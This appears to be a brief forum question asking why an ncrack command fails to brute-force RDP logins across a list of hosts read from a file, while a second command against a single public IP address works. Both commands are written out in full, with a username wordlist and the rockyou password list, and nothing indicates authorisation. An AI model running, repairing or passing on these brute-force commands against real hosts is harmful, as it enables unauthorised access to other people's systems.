How to Bruteforce a List

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This command finish fast, don't can brutforce:
ncrack -U C:\Users\Administrator\Downloads\wordlist.txt -P C:\Users\Administrator\Downloads\rockyou.txt -iL C:\Users\Administrator\Documents\test.txt -p rdp 2>&1|out-file 'C:\Users\Administrator\Documents\rdpout.txt' -enc 'utf8'
This command brutforce fine:
ncrack -U C:\Users\Administrator\Downloads\wordlist.txt -P C:\Users\Administrator\Downloads\rockyou.txt 77.40.49.133 -p rdp 2>&1|out-file 'C:\Users\Administrator\Documents\rdpout.txt' -enc 'utf8'